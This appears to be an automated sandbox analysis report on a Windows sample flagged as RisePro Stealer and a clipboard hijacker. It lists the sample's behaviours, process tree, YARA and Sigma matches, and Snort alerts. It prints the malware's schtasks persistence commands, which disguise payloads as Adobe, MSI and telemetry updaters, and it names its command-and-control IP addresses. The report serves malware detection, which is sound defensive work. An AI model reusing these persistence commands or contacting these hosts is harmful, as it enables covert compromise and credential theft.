Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1431690
MD5:	565aa174e2e5cbae5811f5ed0f1d5e70
SHA1:	4ae3d13959acd0d263f115c9ebab24ffef4aec9e
SHA256:	96b0bc34b0b56a08f072fa86b980bc99ed38403dfd37e0c2c87e691c5c87ac9b
Tags:	exe
Infos:

Detection

Clipboard Hijacker, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Clipboard Hijacker

Yara detected RisePro Stealer

Contains functionality to inject threads in other processes

Creates multiple autostart registry keys

Found stalling execution ending in API Sleep call

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6460 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 565AA174E2E5CBAE5811F5ED0F1D5E70)

schtasks.exe (PID: 1196 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2672 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dD08ulq4N33OmW5HQdwT.exe (PID: 5804 cmdline: "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 4320 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7056 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2300 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JcZ7W4aCxlpc4pOVLwL1.exe (PID: 5952 cmdline: "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

MSIUpdaterV2.exe (PID: 6036 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 2272 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 4332 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

oobeldr.exe (PID: 1496 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 6204 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 6756 cmdline: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

MSIUpdaterV2.exe (PID: 5364 cmdline: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 3856 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 3996 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 2792 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 2020 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

EdgeMS2.exe (PID: 5860 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\UhOL8vG3NSxPpn1EjM9IIxV.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000003.2113636991.00000000062C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000002.4445827728.00000000064CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Process Memory Space: file.exe PID: 6460	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
8.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
8.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
8.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
22.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
22.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
22.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
14.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
26.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
23.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
23.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
23.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
28.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
24.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
24.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
24.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
25.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
25.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
29.2.EdgeMS2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 6460, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 6460, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe, ParentProcessId: 5804, ParentProcessName: dD08ulq4N33OmW5HQdwT.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 4320, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.5

Timestamp:	04/25/24-16:29:27.346265
SID:	2046266
Source Port:	50500
Destination Port:	49722
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.5 - Destination IP: 193.233.132.47

Timestamp:	04/25/24-16:28:59.773227
SID:	2049060
Source Port:	49706
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.5 - Destination IP: 193.233.132.175

Timestamp:	04/25/24-16:29:10.407350
SID:	2019714
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.5

Timestamp:	04/25/24-16:28:59.996689
SID:	2046266
Source Port:	50500
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

